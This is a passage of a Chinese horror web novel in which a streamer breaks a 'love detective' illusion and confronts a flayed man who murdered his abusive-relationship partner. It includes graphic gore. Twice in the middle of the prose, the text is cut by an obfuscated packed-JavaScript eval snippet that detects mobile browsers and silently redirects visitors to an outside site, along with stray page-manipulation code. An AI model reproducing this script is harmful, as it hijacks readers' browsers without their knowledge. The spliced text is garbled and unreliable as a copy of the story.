老方诡异的动态脸上露出一副复杂的表情，既有些失望又好似松了一口气，他问：“那我们现在怎么办？” 柯清意抬脚朝前面走去：“去找其他主播，看他们有没有遇上爱情侦探。” 老方愣了一下，点了点头。 两人一前一后地走在崎岖小路上，明明山村上方笼罩着浓重的黑雾，惨白的月色还是明晃晃地照了进来，将老方的影子拉长到柯清意的脚边，在小路上显得有些扭曲狰狞。 “你在盯着我的影子看。”老方突然出声。 柯清意脚步微顿，否认道：“没有，你看错了。” “不，你肯定看到了！”老方的声音突然变得阴冷又嘶哑，像一块生锈铁片刮在人心上，一点一点刮断人理智的弦，“你看到了吧！！它要出来了......” 紧接着这句话落，老方身体里的刺啦刺啦声突然急促起来，很快就变为肌肤被撕裂的声音。 惨白月色下，柯清意清晰地看见老方影子的脸上钻出来一只小孩粗细的手臂，在不停扭曲舞动，朝着她的方向越伸越长。 完了，真物理意义上的撕破脸了...... 4. 山村爱情（四） 柯清意像一只被惊起的兔子，拔腿就跑，听着身后未动的脚步声，她抓着间隙朝身后看了一眼。 这一眼差点把她的精神值又看少一个点。 只见老方的脖子已经肿胀得比他的脸庞还要粗胀，两侧裂着猩红凹凸的长条口子，血流不止，从中伸展出两条干瘪扭曲的腿。 他的面容一分为二，上半张脸上已经换了副全新的五官，眼睛极力地向外突出来，嘴巴咧成了一道黑不见底的大口。 下半张脸上的五官已经模糊扁平，只有下颚钻出两条干瘪扭曲的手臂，向前长长延伸着，指甲尖锐，上面勾挂着一些鲜红血肉。 他咧着张大嘴朝她追来：“你为什么要跑？我是你的心动队友啊......你不要我了吗？” 柯清意：......她选择要命。 她转回过头去，爆发出最快速度向前面跑去，但终究敌不过老方人高腿长的优势。 没跑几秒，身后重重的脚步声就离她越来越近，往前延伸着的手臂带着一阵劲烈的风声袭来，近在咫尺。 在被鬼怪手即将抓上脖子的前一秒，柯清意猛地侧身蹲下，手掌拄着地面跳进了小路左下方的阴沟里。 “嚓嚓——” 阴沟里的臭水被她踩得飞溅起，一股沉积多年的恶臭味扑散开来。 臭水透过鞋子的孔隙漫进鞋里，冰凉的寒意侵入脚心，宛如冰碴子扎般刺骨。 柯清意不敢有丝毫停留，顺着阴沟往前拐进了一条房屋间的空隙夹道里。 这条夹道非常窄，比阴沟还要窄上一倍，宽距约莫只有三十厘米，像是两家房屋都恨不得把自家外墙盖进对方家里的结果。 柯清意侧着身子才能勉强通过，雨衣擦着红砖外墙发出窸窸窣窣的摩擦声。 “小柯，你在哪呢？我是老方啊，快出来……” 夹道后方突然传来老方的声音，轻声细语，带着满满的哄人意味，但语调阴冷诡异，就像一条毒蛇轻轻柔柔地缠在脖子上。 重重的脚步声越来越近，踩在积满臭水的阴沟里溅起层层臭水花，紧紧追在她身后。 柯清意没有回头，继续朝着夹道另一侧的出口挪动。 她刚挪到夹道中间，左手腕上戴着的心动手环就“嘀嘀嘀”地响起来了，自动亮起来的电子屏上显示着两个数据： 【心动值：0】 【心动队友距离：11米】 面板也在歇斯底里的催命嘀嘀声中，跳出来真的催命： 【注意：主播柯清意生命值-1】 【注意：主播柯清意精神值-1】 这个心动手环就是个距离限制器，外加声音定位器。 之前柯清意就和老方试过，只要他们两个人的距离超出十米这个安全距离，手环就会嘀个不停。每在十米的基础上超出一米，两个人的生命值和精神值就会下降一个数点。 在急促尖锐的嘀嘀声中，柯清意默默往夹道后方退了一米。 嘀声停了。 她的生命值和精神值除去之前试手环扣的和被老方惊的，分别停留在了97和96这两个数字上。 ……还算富足。 柯清意扭头看向身后，戴在头上的外卖头盔边角刮擦在红砖外墙上，发出一道令人牙齿发酸的刺耳声。 就连老方身体里的小儿怪笑也被酸得停顿了一秒，才接着响起来。 咯咯桀桀，嘻嘻哈哈，如银铃般在逼仄的夹道中扩散开来，空灵又诡异，令人毛骨悚然。 诡异惨白的月色被房屋遮挡，夹道间有些阴黑。 柯清意只能看到夹道尽头处，高大魁梧的老方将近有大半个身体都被卡在外面，只有脸上两只干瘪扭曲的手臂延伸进夹道里来，却也只能延伸三四米那么远。 看样子，她暂时算安全了。 被卡在夹道外的老方还在不甘心地继续着他的哄骗话术：“小柯，我是老方啊，是你的心动队友呀！你快出来，我们去做任务……” 柯清意：“……” 能不能把脸上、脖子上的四肢收回去再说这话？ 老方脸上的手臂在夹道里摇得更欢快了。 “快出来呀……小柯……” 哄骗声和咯咯怪笑声交织传进柯清意的耳朵里，让她从心底滋生出一股违和感来，却又一时之间捕捉不到这股违和感的具体来源。 不，一定有什么不对...... 柯清意靠在夹道冰凉的石墙上，微喘着气，无比冷静地开始梳理老方变成鬼怪的场景。 老方是在她戴上鬼怪现形镜头膜后，才开始变成鬼怪的——他的皮肤上有着指甲挠刺的凸痕，皮肤下有咯咯的诡异笑声...... 笑声！ 柯清意脑中灵光闪过，不对劲的地方——就是笑声！ 她的听力异常灵敏，如果老方的鬼怪形态一直是皮肤凸痕加咯咯怪笑，那她早就应该听出来了。 不应该是在戴上镜头膜后，才听到笑声。 也不可能是老方故意发出咯咯怪笑的。 老方明知道她听力灵敏，不可能一边紧张地询问她看到了什么，一边还发出怪笑来暴露自己。 这点违和让柯清意意识到——老方不是伪装成主播混进来的鬼怪，而是被鬼怪伪装了…… 鬼怪利用镜头膜的功能顺水推舟，在柯清意视线重新落回到老方身上的那一刻，伪装了老方，给柯清意营造了一种“老方是鬼怪”的假象。 又或者是伪装了柯清意的眼睛，给她营造了一个......幻象。 不管是假象还是幻象，被卡在夹道外的老方都是真正的老方。 所以他才会因为体型原因，进不来夹道里。 一旦她设下陷阱对老方下死手，死的不会是她眼中那个长在别人脖子脑袋里的鬼怪，而会是……老方。 可鬼怪的目的是什么呢？ 柯清意敛眸沉思了几秒，从外卖工服兜里掏出手机，摁亮手电灯光，对准了老方，突兀长在老方额头上的两个眼珠子泛着阴冷渗人的光，直勾勾地盯着她。 但柯清意直接无视了它的目光，将眼神落在了他右手拿着的掌上小相机上。 柯清意虽然看不到相机后方的电子屏画面，但在手电灯光的照射下，她能看见相机上方的摄像头正在微微转动，说明它正在进行人脸跟随拍摄。 看来，给她营造幻象的鬼怪是爱情侦探，目的是......考验他们。 而掌上小相机在老方“变成”鬼怪的那一刻，也开始了拍摄。 思及此，柯清意决定先好好待在夹道中，等掌上小相机的拍摄任务完成。 【不是……我还是第一次见主播遇上爱情侦探的考验，是在夹缝里苟过去的，看得见摸不着……】 【谁让人家主播队友选得好呀，有超绝体型差。】 【不公平！！我以前怎么就没发现这条夹缝，我硬生生绕着乌山村跑了三圈才完成心动任务的。】 【哎哎哎，你们说，主播是知道了这是考验在等时间，还是单纯地觉得这个地方安全才躲这的？】 【应该不知道是考验吧，毕竟她是在带了镜头膜后才看见的幻象，只会死心 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柯清意垂眸思忖着这个问题，最后得出了一个不太确切的结论—— 破除幻象就等于通过了爱情侦探的考验，而通过爱情考验的良性结果一般都是包含优良品质的褒义词，绝对不会是互相残杀、逃跑之类的贬义词。 那就跟这两个贬义词反着来呗…… 柯清意抬眸，眼底有光微闪，她举着手电朝老方的方向慢慢挪了回去。 在即将碰到扭曲舞动着的鬼手时，柯清意也并未停下脚步，径直迎着鬼手带血勾肉的长指甲走了上去，张牙舞爪的鬼手却像躲避病毒般地开始往回缩。 见状，柯清意松了一口气。 果然没错，打破这考验幻象的办法就是毫不畏惧地迎面而上。 柯清意直播间的一群观众惊呆了。 【wtf？主播就这么水灵灵地迎上去了？她怎么知道破除幻象的办法的？】 【她刚刚走上去的时候毫不犹豫，我还以为她在夹缝里苟不下去了，打算速求一死呢……】 【新人主播一般都被吓破了胆，大部分都想不到爱情侦探考验的关键是信任——不管你的心动队友变成啥样，都要信任他。对于之前的《山村爱情》副本还好说，主播间没有鬼怪，相互间的信任值还高一点。这次莫名其妙多出了两个主播，还极有可能不是人，谁还能信任自己的队友啊。】 【是真莫名其妙！我刚才一个一个去看了他们的直播间，发现每个人都有直播间，这就说明十六位主播都是人，不是鬼怪。】 【奇了怪了，难道副本进人出问题了？？这！是不是意味着！我！有机会！逃离这个鬼游戏了？？！】 【前面的，别！想！太！多！】 在柯清意的步步紧逼之下，鬼手已经缩回到了老方脸上，原先满含恶意和戏弄之意的咯咯怪笑也变成了愤怒怨恨的嘶吼声，试图想将柯清意再吓回去。 柯清意不为所动，一双冷清清的眼睛对上它愤恨不甘的目光，毫不犹豫地伸出左手拍在裂口边徘徊的鬼手上。 还没拍到，鬼手就猛地缩进裂口中，紧接着猩红的撕裂口子瞬间消失得无影无踪，老方青灰惨白的脸色开始变得正常，脖子像个泄了气的气球缩了回去…… “小柯！小柯！你能听见我说话吗？小柯？”是老方正常的声音，还带着几分焦急，喊话一句接着一句。 “小柯？你怎么了？小柯——柯——” 5. 山村爱情（五） 柯清意吐出一口气，推开掐着她肩膀一边摇晃一边呼喊的老方：“我没事了，放心吧。” “真的吗？”老方狐疑地扫了柯清意刚收回去的左手一眼：“你刚才还想扇我巴掌来着……” 柯清意：“……” 她简单地讲了一下刚才发生的事，特别强调了一下最后那巴掌是为了把鬼手吓回去，破除幻象。 老方没想到刚才在柯清意的幻象视角里，自己是以脖子脑袋里顶着个扭曲婴孩的模样追了她一路，心情有些复杂：“原来你刚才是进入爱情侦探营造出来的幻象了，怪不得你从带上镜头膜后就怪怪的。” “我问你什么，你都不说话，一副呆呆的模样，我还以为是你乱戴镜头膜出现痴呆变傻之类的副作用了。” 柯清意：“......” 老方继续描述着独属于他一个人的回忆：“然后你开始一个人往前走，走几步又开始跑，跑几步又跳进了沟里，进了沟又钻进了夹道里……好在你手上也有心动手环的限制，一直呆在夹道里，不然我还真追不上你。” “不过——” 他话锋一转道：“你摁亮手电的时候，我也发现了掌上小相机正在进行拍摄，再结合你之前的分析，我就猜你肯定是遇上了爱情侦探，但我却什么都看不见，所以只能尽量跟着你，以免我们俩的生命值和精神值被扣光。” “还好小柯你够聪明，破了爱情侦探的幻象，还完成了心动任务……要换做我，还真不一定——” 老方的话戛然而止，心虚地避开柯清意的目光，脸上神情变得有些不自在。 柯清意：“……” 老方的话虽然没说明白，但她却知道他话中深意—— 如果爱情侦探选择老方作为考验对象，就凭她异于常人的听力和他们刚组队不到一小时的浅薄交情，老方还真有可能以为她就是混进来的鬼怪，不一定能通过考验。 毕竟那只鬼怪能利用镜头膜的功能钻漏洞，就说明它是有一定智商的，甚至……还很聪明。 要不是因为它的咯咯怪笑，她也不一定能反应过来这是幻象和考验。 想到这，柯清意眼底也划过几丝庆幸。 但直播间有些观众却不乐意了，自私阴暗的人哪个角落都有。 他们总是祈祷自己能安全无恙地通关，却享受着别人的绝望和死亡。 一群人在两人的直播间发弹幕指手画脚，叹息连连： 【哎，这爱情侦探放水啊，要是让我去考验，我肯定考验这个男的，这样一来他俩必死！】 【看了半小时真没意思，什么血腥场面都没见到。】 【……是啊，我还花费2个金币给这女主播打赏了一把匕首，就是希望看到他俩自相残杀的画面呢，谁能想到结果是这样……】 【走走走，去其他新人主播的直播间，肯定能蹲到一两个血腥的。】 …… 看着一脸尴尬、想解释却又不知道怎么说的老方，柯清意主动换了个话题：“先上去吧。” “……好。” 阴沟约摸有两米高，但好在贴近小路的沟墙是由石头搭建成的，两人踩着石头间的缝隙爬了上去。 柯清意的鞋子已经完全被阴沟臭水浸湿，脚底像是踩在冰冷泥泞的沼泽中，一用力就发出“咕叽咕叽”的声响，还带着一股臭水沟味散发开来。 这鞋子是不能再穿了。 柯清意打开面板上的购物车图标，她现在拥有40个金币，购物车里有不下百个物品的图标都变成了彩色，代表她已经解锁了购买资格。 但一眼扫下去，大部分都是C级以下的物品。 柯清意花1金币买了双D级白袜子，又花3金币买了一双秦晓樾同款小白鞋换上。 全程老方都以一种既羡慕又肉疼的目光看着她，期间还贴心地提醒了她一句。 “金币来之不易，应该等危机时刻购买保命用的物品，要是正好只差这几个金币，那不得含冤而死。而且等到出副本的时候，金币还有大用。” 具体有什么大用，老方却没细说。 柯清意也没追问，只是提及了另一个可能。 她说：“要是遇上鬼怪本来能跑的，但因为湿漉漉的鞋子拖累，跑慢了几秒，死在鬼怪手上，就不含冤而死了吗？” 老方：“……” 好有道理，他无言以对。 —— 月色惨白，四周房屋树影重重叠叠，重重压在土路两旁张牙舞爪的杂草上，死寂无声。 柯清意换好鞋子，关了手机的电筒揣进兜里，刚跟老方往村尾乌老头家的方向走了几步，就听见前方传来一声凄厉的惨叫。 "啊——！！！” 女人凄厉的惨叫声在一片死寂的乌山村中骤然炸响，充满了无穷的惊恐和痛苦，让人像是兜头泼了盆冰水。 “你听到了吗？”柯清意问，她怕她又进了爱情侦探的幻象。 “听到了。”老方紧皱着眉头，“看来有人出事了......” 他迟疑地补了一句：“要去看看吗？” 他不是个完全冷酷自私的人，无法做到心安理得地忽视同为主播的惨叫声，但在随时可能丧命的恐怖副本中，他也会有本能的害怕和犹豫。 犹豫纠结掺杂，他只能借心动手环的距离限制为由，将去不去的决定权交给了柯清意。 柯清意倒是没有纠结，冷冷吐出一个字：“去。” 她得去救人。 倒不是她有多高的思想觉悟，打算在危险副本里做一个救人于危难的大圣人。 而是因为她的人设【毒舌辣嘴】的完成与其余十三位主播息息相关，一旦有超过三位主播死亡，那她的明线任务进度将会永远缺少4%、或者更多。 完成不了明线任务，或许也就相当于她无法离开副本。 换句话说，她也会死。 ...... 老方听见柯清意这么说，眸光微动，点头道：“走。” 话落，两人同时拔腿往惨叫声传来的方向跑去。 女人不知道遭遇了什么，只凄厉地惨叫了一声，加上山村杂乱崎岖的房屋布局，两人只依稀辨得出惨叫的大致方向，却一直没找到发出惨叫的女人。 老方扫了一眼四周村房间胡乱交错的小道，焦急问：“小柯，你有听到什么细微的声音吗？” 柯清意摇了摇头，死寂的乌山村里，只有几道从不同方向传来的凌乱脚步声和说话声，是和他们一样听到惨叫声跑来却找不到惨叫声来源的其他人。 然而，口鼻间呼吸的冷空气，却不知何时悄然掺杂了一丝血腥味。 她阖动鼻子闻了闻，越过老方朝他身后的一条小路跑去：“这边。” 等他们跟着越来越浓重的血腥味七拐八拐，跑到一间荒废村房门前的空地上时，却看到了恐怖的一幕。 发出惨叫声的女人不见踪影，只有一具被剥了皮的男血尸吊在枯井上方的井架上。 血尸从头顶到脚底的皮肤都被撕裂了下来，露出皮下血肉模糊的肌理，柯清意甚至能看见血淋淋的肌肉，还有白森森的骨头。 最恐怖的是虽然已经被剥了皮，但他还留有意识，血红的眼珠子慢慢转动着，看向柯清意和老方的目光中充满了绝望、恐怖和痛苦。 他的嘴巴冒着鲜血，一张一合，却发不出任何声音。 “这是怎么回事？”老方脸色极度难看，“他是主播吗？遇上了什么会被折磨成这样？” 柯清意没说话，径自走向堆在枯井旁的染血衣物。 走近了，她甚至还能听到男血尸微弱的呼吸声，和模糊血肉下心脏砰砰跳动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人这才看清，男血尸嘴巴里竟空无一物，没有舌头，也没有牙齿，断舌处和牙床处源源不断地冒出鲜血，顺着他全身模糊的肌理血肉流到脚底，又接连不断地滴落在漆黑阴冷的枯井中。 老方倒吸一口冷气，实在不忍心再看下去，扭头看向一边的杂草。 “小柯，走吧。” 柯清意没应声，而是垂着眼眸从兜里掏出手机摁亮手电筒，蹲下身查看周围凌乱的血痕。 这间村房似乎已经荒废多年，枯井周围长满了小腿高的杂草，东歪西折，杂草叶子上沾满了鲜血喷洒的痕迹，上面还隐约有几个残缺的血色鞋印。 柯清意沿着枯井将血鞋印一一看了个遍，垂眸在脑海中拼凑着完整的血鞋印。 鞋印窄且较短，步幅短而宽，压痕较为均匀，花纹细小。 ......是女人的鞋印。 柯清意拧着眉陷入思忖。 鞋印是那个惨叫的女人留下的吗？ 如果不是那个惨叫的女人，又会是谁？ 这个女人为什么会在男人被剥皮之后，围着枯井转圈？ 看这鞋印压痕的平整程度，她不像是焦急想要救人，更像是从容地转着圈......欣赏。 欣赏什么？ 欣赏被剥了皮，吊在井架上的男人吗？ 一连串疑问在心尖盘旋而过，柯清站起身来，举着手机朝枯井底看去。 井底淤泥杂草盘结堆积，鲜血四散溅落，犹如一朵朵凄艳的血花。 井壁之上，苔藓蔓延密布，靠近院门一侧的井壁上，有几道触目惊心的手印血痕，仿佛像是有个血淋淋的人曾从井底挣扎爬上来过一样。 思忖半晌，柯清意关了手机手电揣回兜里，冷漠地看向男血尸：“你刚才杀了你的队友，是吗？” 6. 山村爱情（六） 她的语气很平，一点都不像是询问，更像是......陈述事实。 “嗬......嗬......嗬......” 男血尸突然激动起来，嘴巴不停地张张合合，冒出更多鲜血。 连老方也被这话惊得瞪大了眼睛：“小柯，你说他杀了他的队友？那他怎么会被......”剥了皮吊在井架上？ 柯清意没有回答老方，依旧冷漠地看着男血尸：“你发现你的队友突然变成了鬼怪的模样，你以为她就是伪装成主播混进来的鬼怪，你很害怕，害怕她会杀了你，所以你先下手杀了她，还将她推进了枯井里。” 最后一个字落下，男血尸两颗眼珠子死死盯着她，目眦欲裂，眼神坚定又疯狂。 “呵——” 柯清意扯了扯嘴角，冷嘲出声：“你到现在都以为你的队友是混进来的鬼怪，为什么？” “因为你看见了她的鬼怪模样？还是因为她剥了你的皮，拔了你的舌头，拔了你的牙齿？” “嗬嗬......嗬嗬......” 在男血尸激愤的“嗬嗬”声中，柯清意冷声道：“不，你错了，你的队友不是鬼怪，你们只是遇上了爱情侦探的考验。你杀了你的队友，考验失败，所以鬼怪才能附身在被你杀死的队友身上，爬上来——” 柯清意一字一顿：“剥你的皮，拔你的舌头，拔你的牙齿。” “这些，是你该受的。” 惨白月色下，男血尸看见眼前的少女扯起一丝嘴角，像黑洞般幽深的黑眸嘲讽地看着他。 她说什么？ 被他杀死的队友刘糖不是鬼怪，是人？ 身体上传来的剧痛令男血尸有些迟缓，却又格外清醒，他回想起推刘糖下枯井前的画面。 她全身上下的血肉模糊淋漓，红色肌理和冷森森的白骨交错，嘴巴一张一合在说着话，但他却听不到任何声音，因为她的嘴巴里没有舌头，没有牙齿，只有滋滋往外流的鲜血。 他太害怕了，只能把刘糖骗到枯井边上，用观众打赏的匕首一刀接一刀地捅进她身体里。 惊慌中，他似乎对上了一双瞪大的眼睛，就像饭桌上被煮熟的死鱼一样毫无光彩，眼底充满了惊恐和痛苦…… 这种眼神他很熟悉。 他每次喝醉酒打刘糖时，满身伤痕的刘糖缩在角落里，也经常用这样的眼神看他，他当时只觉得痛快，所以下手一次比一次狠，就跟捅她刀子时一样，一刀比一刀狠。 直到刘糖发不出任何惨叫声，他才敢停下来，把她推下枯井。 可就在他准备转身离开时，本该躺在井底的刘糖却突然爬到了井边，伸手拉住了他，秃软猩红的指头却像利刃般刺破他的肌肤…… 可这女人说什么？ 用指头剥他皮的刘糖不是鬼怪，怎么可能？ “你还真是死不知悔。” 回忆被柯清意骤然打断，下一秒，男血尸闪烁着癫狂的右眼中被刺入一把匕首，利刃破开眼球的闷沉声在一片寂静中极为清晰。 “小柯？！”老方被柯清意的动作吓了一跳，以为她要杀了男血尸，连忙劝道：“你不能杀他！” “我不会杀他的，他的命属于被他杀死的队友。” 安抚了老方一句，柯清意才以极其缓慢的速度将匕首从男血尸眼眶中拔出来，看着他冷冷道：“我给你留一只眼睛，让你亲眼看着被你杀死的队友变成鬼怪回来找你复仇。” “嗬嗬......嗬嗬......” 不知是因为眼球被刺的痛苦，还是因为害怕刘糖会变成鬼怪回来找他复仇，男血尸瞬间变得癫狂激愤起来，挣扎扭动着身躯，试图从井架上挣脱开来。 与此同时，半透明面板亮起，徐徐展现在柯清意眼前，上面的几行小字重叠交映在男血尸脸上，白字中透着无尽的猩红和扭曲。 【毒舌辣嘴：攻击对象李刚游，精神值-11】 【恭喜主播柯清意达成毒舌辣嘴（2\13）】 【奖励金币20】 【明线任务进度：8%】 柯清意瞥了一眼面板上的字，继续看向男血尸李刚游，眼底透着满满的嘲讽和鄙夷。 她之前跟李刚游说出他错杀队友的事情，原本是打算利用“悔恨”来攻击他的精神值，却没想到李刚游太过自私自负，“错杀队友的悔恨”对他来说根本就不起作用，反而是自身的痛苦和害怕才降低了他的精神值。 真的连垃圾都不如。 在这样的目光注视下，男血尸越发癫狂扭曲起来。 下一秒，他的整个血红身体蓦地爆裂开来，血肉骨碎泼洒空中，一些溅落在枯井周围的杂草上，还有一些溅在了柯清意和老方身上。 “呕——呕——” 听到惨叫声的其他主播绕了两三分钟，终于绕到荒废村房门前时，正巧看到男血尸身体爆裂的画面，其中两位主播直接扶着院门弯腰呕吐起来。 众人口鼻间呼吸的冷空气中，全都充斥着一股浓烈腥臭的血肉味，以及呕吐物的怪杂味。 柯清意冷着脸往后退了几步，重新看向面板，上面的几行小字是在刚才李刚游血肉骨碎凌空泼洒时刷新的。 【恭喜主播柯清意解锁天赋：复仇者之刃（D级）】 【天赋说明：使用复仇者之刃刺中爱情罪人主播，可单方面剥夺爱情罪人主播的一切财物，包括金币、道具、直播间观众、天赋、身体、意识等。】 【备注： 1.剥夺程度与爱情罪人主播的爱情罪行值息息相关（罪行值若低于50，复仇者之刃将会变成一把普通匕首，不会剥夺爱情罪人主播的任何财物）； 2.复仇者之刃可通过剥夺次数和剥夺程度进行升级； 3.D级复仇者之刃不具备剥夺保密性，爱情罪人主播会知道是你剥夺了Ta的珍贵财物哦，请小心使用！】 【主播柯清意使用复仇者之刃刺中主播李刚游（爱情罪行：家暴十二次——爱情罪行值：79）】 【主播柯清意剥夺了主播李刚游的财物】 【金币（20）】 【道具（5）】 【直播间观众（159）】 【身体（无法剥夺）】 【意识（无法剥夺）】 【天赋（无法剥夺）】 最下方有行小字： 【注：天赋界面仅对主播一人展示，不对直播间观众展示。】 面板右下角的土壤图标已经亮起，土壤上方凌空高悬着一把匕首。 面板再次刷新： 【503名观众进入主播柯清意的直播间，恭喜主播柯清意达成青铜一星成就】 同时，她直播间的原住民观众和外来观众已经陷入了双方混战： 【怎么回事，直播间怎么突然多了一两百个观众？】 【我也母鸡啊！我本来在李刚游直播间看得好好的，正欣赏着血色盛宴呢，一下就给我干这来了，直播系统脑子抽了？】 【加一，哦不，应该是加一百五十八......】 【这么说，突然多出来的观众大部分都是从李什么直播间转来的？WTF？我没听说把人气炸还能继承别人直播间的观众啊？】 【那你听说过有哪位主播真·把人气炸了吗？】 【没有，上辈子都没听说过，小柯主播绝对史上独一份。】 【不是，就我一个人关心“把人气炸死”算不算杀人吗？】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797618|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【……不算吧……再说李刚游已经碎成渣渣了，还怎么变成鬼怪回来复仇？】 【nonono，我觉得算杀人，你们看着吧，他肯定会回来复仇的。】 …… 柯清意关掉面板，老方也退到了她旁边，脸色十分难看：“他应该是精神值归零了，才会以……这种方式死掉。” “活该。”柯清意冷冷地吐出两个字。 闻言，老方深深地看了她一眼，目光中似乎透露着不认同和失望。 他不知道男血尸的家暴罪行，在他眼里，柯清意仅凭自己的猜测就把男血尸刺激得爆裂而死，面对一片血肉骨碎，又冷漠地说出这两个听起来极为残忍的字眼。 这一刻，他只觉得柯清意没有丝毫的怜悯心，甚至有些......残忍无情。 对上老方的目光，柯清意也没有解释，而是沉默着转头看向站在院门边的六人——五六十岁头发花白的男人，女高中生，黑色卫衣的短发男，走秀三人组。 头发花白的男人和穿着汉服的女生正一人扶着一边门框弯腰呕吐，脚边已经堆了一些黄白相间的呕吐物。 卫衣男捂着鼻子率先走进院里，皱眉看着柯清意：“刚才的惨叫声是你叫出来的？” 柯清意冷漠答道：“不是。” “我们也是听见惨叫声才过来的。”老方在旁边补充道，“来的时候只看见一个被......剥了皮的男人吊在井架上，没看见惨叫的女人。” 卫衣男精明的眼睛转了转，把两人来回盯了个遍：“那刚才那男的怎么回事？他怎么会突然……” 老方偷觑了柯清意一眼，才简单地跟他们讲了一遍刚才发生的事。 靠猜测把人气炸开来？ 六人震惊地看着柯清意，目光中又带着怀疑。 风衣男上下打量着柯清意，慢条斯理地问：“你怎么知道他们是遇上了爱情侦探的考验？” 柯清意正想说话，却先见老方一脸讶然地反问他们：“你们还没遇上过爱情侦探？！” 六人摇摇头，女高中生挑眉补充道：“有想过会遇上爱情侦探，但我们六个都还没遇上，听你这话的意思，你们不仅遇上，还通过考验了？” 被爱情侦探选做第一批考验对象的老方，心情复杂地点了点头。 女高中生好奇：“那掌上小相机？” 老方继续点头。 闻言，女高中生看向头发花白的男人，双手抱胸翻了个白眼：“马大爷，您听见了吧，我之前猜的没错——掌上小相机得遇上爱情侦探才会开拍，您还不信。” 马大爷被当众落了面子，冷哼一声没理会女高中生，而是看着柯清意和老方，神色不善地问道：“你们刚才说爱情侦探的幻象，是什么意思？” “是这样的......” “等等——” 老方刚起了个头，就被柯清意打断：“跟大家一起解释吧。” 老方皱眉：“？？！” 他不是正想跟大家解释吗？ 疑惑间，老方看见柯清意手中凭空出现一个白色扩音大喇叭，递给他：“用这个，和其他六位主播一起解释。” 老方：“......” 六人：“......” 老方盯着那个扩音喇叭，脸色有些复杂：“......要不，还是你来跟大家解释吧，你经历过爱情侦探幻象，解释起来肯定更到位。” 见老方眼底藏着对扩音喇叭浓浓的抗拒，柯清意也不再强求，抬起喇叭摁下开关，一道被扩大十几倍的清冷女声响彻乌山村—— “各位，我是柯清意，是那个穿黄色外卖工服的主播。” “还没遇上爱情侦探的各位主播听好了——” 7. 山村爱情（七） “只有遇上爱情侦探，掌上小相机才会开始拍摄。” “一旦各位发现掌上小相机开始了拍摄，就代表各位已经遇上了爱情侦探，并正在经受爱情侦探的考验。” 柯清意的声音如惊雷在乌山村上方炸开，横冲直撞地钻入耳中，震得散布在乌山村各处的众主播先是打了个激灵，然后才反应过来接收这重磅消息。 遇上爱情侦探，掌上小相机才会开始拍摄？ 他们会经受考验？什么考验？ 众主播不约而同地露出了迷惑神情，除了壮汉和女白领。 一个听不见，一个没时间细听。 乌山村村头东侧村委会的二楼会议室里。 女白领正拼命抵着会议室的大门，额头上渗出了一层细密的冷汗。 听着门外传来沉重的撞门声，她的瞳仁深处闪烁着深深的惊疑和不安。 她抖着声音喊道：“你发什么疯？！我是梁雨秋，是你的队友啊！？你要是杀了我，心动任务就会失败，你也会死的！” “嘭——嘭——嘭——” 门外依旧只有撞门声......和一道喇叭里的清冷女声。 清冷女声在说什么，梁雨秋根本听不进去，耳朵里只有一下比一下沉重的撞门声，仿佛恶鬼在歇斯底里催她的命。 她死死抵着大门，看着眼前面板上不停变换【注意：主播梁雨秋精神值-1......-1......-1】的提示，脸上流露出绝望的神色。 她都快记不清这句话说过几遍了，但壮汉一个字都没回应过她，就好像根本听不见她的话一样，只自顾自地拿着刀追杀她。 他们上一个副本是一起通关的，所以她相信壮汉不是伪装成主播混进来的鬼怪，才决定跟他组队。 可壮汉不知道是怎么了，从刚才开始就一言不发地追杀她。 “咔嚓——” 会议室大门的合页承受不住壮汉的猛撞，带着金属螺丝变形即将扭脱下来。 梁雨秋脑中一片空白，还没反应过来，求生的本能就驱使她猛地转身，跑到中间的会议桌下躲起来，不由得屏息凝神，颤抖的右手里紧紧攥着一把直播间观众打赏给她的匕首。 几乎就在她蹲下的下一秒，会议室大门被猛地撞开来，紧接着响起一阵沉重的脚步声，以及一道被喇叭扩散开的清冷女声。 “再重复一遍——” “目前已知爱情侦探的考验是这样的——一方会进入爱情侦探营造出来的幻象，将另一方看成是恐怖鬼怪的模样，从而做出一言不发就追杀，或者是逃跑的行为。” “双方之间，语言信息会互相屏蔽，无法进行沟通，但肢体动作信息不会屏蔽，追逐和伤亡是会真实发生的。” “一旦双方之间互相残杀，都将会被视为考验失败，会被爱情侦探残——忍——杀——死。” 清冷女声前面的语速飞快，但最后四个字却故意放慢了速度，带着回音回荡在乌山村上方。 那声音听着离会议室并不近，但此刻会议室里只有壮汉的脚步声，反而显得更加空荡和安静。 所以那声音沿着只剩门框的大门，横冲直撞进会议室里，响亮得仿佛就在梁雨秋耳旁。 她惊愣住，一言不发就追杀？ 这不正是壮汉现在的样子...... “而通过爱情侦探考验的方法是——信任。” “只要进入幻象的一方摒弃心中的害怕和怀疑，迎着另一方的鬼怪模样而上，就能打破幻象。” “另外，还请各位最好在面板提示掌上小相机拍摄视频的心动任务完成后，再用前面的方法打破幻象。” “一是为了完成心动任务；二是为了确保自己和队友真的进入了爱情侦探的幻象。” “因为爱情侦探是有一定智商的聪明鬼怪，我不敢保证它或者它们在听完我的这些话后，会不会改变考验的内容：例如......” 一双沾满泥土的男鞋映入梁雨秋眼帘，脚尖慢慢转了个方向，正朝着躲在会议桌下的她。 梁雨秋脑中警铃大作，下意识沿着鞋子抬头往上看，喇叭里清冷女声说的“例如”后面的内容，她再也没心思去听。 壮汉背对着月色站在会议桌前，整张脸都藏在了黑暗里，两只眼珠子泛着渗人的绿光，就这么直勾勾地从上往下看着梁雨秋。 他的眼底闪着诡异又兴奋的绿光，好似在说：终于找到你了...... —— 